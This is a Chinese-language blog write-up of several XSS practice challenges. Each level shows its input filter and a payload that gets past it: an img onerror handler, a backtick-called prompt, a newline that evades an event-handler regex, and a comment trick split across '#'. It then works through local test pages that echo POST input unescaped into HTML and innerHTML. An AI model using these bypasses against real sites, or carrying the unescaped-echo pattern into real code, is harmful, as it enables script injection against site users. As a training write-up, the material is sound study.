平台上XSS部分writeup

以前放着没做,本来今天闲来无事做一下,顺便写个博客的,结果踩到坑了。


WEB从0开始之xss challenge0.5

Try to prompt(1)

1
2
3
4
5
function charge(input) {
var stripTagsRE = /script/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}

只是把script给过滤掉了
payload为

1
<img src=c onerror=prompt(/c014/)>


WEB从0开始之xss challenge1

Try to prompt(1)

1
2
3
4
function charge(input) {
input = input.replace(/[=(]/g, '');
return input;
}

这次没过滤script,但是过滤了(
payload为

1
<script>prompt`c014`</script>

注意是反引号,单双引号都不可以。


WEB从0开始之xss challenge2

Try to prompt(1)

1
2
3
4
5
function charge(input) {
input = input.replace(/>|on.+?=|focus/gi, '_');
input = input.replace(/image/gi, '_');
return '<input value="' + input + '" type="text">';
}

注意过滤的这里

1
|on.+?=|

是存在on后再跟任意字符后加=,但是这里的正则匹配并不能匹配换行,于是
payload为

1
2
c014" type="submit" onclick
="prompt(/c014/)


WEB从0开始之xss challenge3

Try to prompt(1)

1
2
3
4
5
6
7
8
9
function charge(input) {
input = input.replace(/svg/gi, '_');
var segments = input.split('#');
return segments.map(
function(title) {
return '<p class="comment" title="'+ title.slice(0, 12) +'"></p>';
}
).join('\n');
}

split() 方法用于把一个字符串分割成字符串数组。
map() 把每个元素通过函数传递到当前匹配集合中,生成包含返回值的新的 jQuery 对象。
slice() 方法可从已有的数组中返回选定的元素。
由于一次只能传12个字符,看到split函数,用#分割可以传入多个,然后以为可以构造script标签。
于是构造出了

1
"><script>/*#*/prompt()/*#*///

源代码成了这样

1
2
3
4
5
6
7
<p class="comment" title="">
<script>
/*"></p>
<p class="comment" title="*/prompt()/*"></p>
<p class="comment" title="*///"></p>
</script>
</p>

讲道理该注释的都注释了啊!纳闷为啥不弹,丢进命令行弹了啊。。。

迷,今天(1.28)重新在火狐试了下,发现可以弹了。。nmb

把这段直接复制到本地,结果本地执行也是弹。迷茫。。。
然后就掉进坑里了。。。
先给出payload

1
"><img src=#"onerror='/*#*/prompt()'

构造之后源代码为

1
<img "="" onerror="/*"></p> <p class="comment" title="*/prompt()" title="" comment"="" src="></p> <p class=">

成功弹窗。(才知道事件里竟然可以用注释,涨知识了= =)


document.getElementById.innerHTML的坑

再来谈谈刚才的坑,复制刚刚的那一段弹了窗,然后我把所有源代码直接复制回本地,结果不弹了。(╯‵□′)╯︵┴─┴
以为是表单提交的锅,于是本地构造个php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<head>
<title>test</title>
</head>
<body>
<form action="" method="post">
<textarea name="test"></textarea>
<input type="submit">
</form>
<?php echo $_POST['test'];?>
</body>
</html>

写入刚才的代码,成功解析了。Orz
接着尝试

1
document.write('<script>/*"></p><p class="comment" title="*/prompt()/*"></p><p class="comment" title="*///"></p></script>');

成功解析。Orz
又纠结半天发现传入的参数是被

1
document.getElementById('comeback').innerHTML = back;

输出来的。
然后本地尝试

1
document.getElementById('test').innerHTML = '<script>/*"></p><p class="comment" title="*/prompt()/*"></p><p class="comment" title="*///"></p></script>';

不弹了??
不过

1
document.getElementById('test').innerHTML = '<img "="" onerror="/*"></p> <p class="comment" title="*/prompt()" title="" comment"="" src="></p> <p class=">';

也不弹。T.T
老老实实写代码。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>
<title>test</title>
</head>
<body>
<form action="" method="post">
<textarea name="test"></textarea>
<input type="submit">
</form>
<p id="test"></p>
<script type="text/javascript">
document.getElementById('test').innerHTML = '<?php echo $_POST['test'];?>';
</script>
</body>
</html>

输入

1
<img src=x onerror=alert('1')>

成功执行,而输入

1
<script>alert('1')</script>

不会弹是因为在传参数传到innerHTML中代码中出错了,如下变成了

1
2
3
4
<script type="text/javascript">
document.getElementById('test').innerHTML = '<script>alert('1')
</script>
';

所以只会显示’;
提交

1
';alert(1);b='

绕过的话发现会弹。
想了半天,试了下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
<title>test</title>
</head>
<body>
<p id="test">1</p>
<p id="tttt">2</p>
<p id="c014">3</p>
<script>
var a = "<scr";
var a1 = "</scr";
var b = "ipt>";
document.getElementById('test').innerHTML = a+b+"alert(1)"+a1+b;
document.getElementById('tttt').innerHTML = "123";
document.getElementById('c014').innerHTML = '<img src=x onerror=alert(2)>';
</script>
</body>
</html>

竟然只弹了2,而没有弹出1!!! Orz…
再来看看刷新后的源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html>
<head>
<body>
<p id="test">
<script>
alert(1)
</script>
</p>
<p id="tttt">123</p>
<p id="c014">
<img onerror="alert(2)" src="x">
</p>
<script>
var a = "<scr";
var a1 = "</scr";
var b = "ipt>";
document.getElementById('test').innerHTML = a+b+"alert(1)"+a1+b;
document.getElementById('tttt').innerHTML = "123";
document.getElementById('c014').innerHTML = '<img src=x onerror=alert(2)>';
</script>
</body>
</html>

script确实被写入了,却没有被执行,而执行了img。
然后把

1
document.getElementById('test').innerHTML = a+b+"alert(1)"+a1+b;

替换成

1
document.write(a+b+"alert(11)"+a1+b);

刷新后有弹窗。

文章目录
  1. 1. WEB从0开始之xss challenge0.5
  2. 2. WEB从0开始之xss challenge1
  3. 3. WEB从0开始之xss challenge2
  4. 4. WEB从0开始之xss challenge3
  • 迷,今天(1.28)重新在火狐试了下,发现可以弹了。。nmb
    1. 1. document.getElementById.innerHTML的坑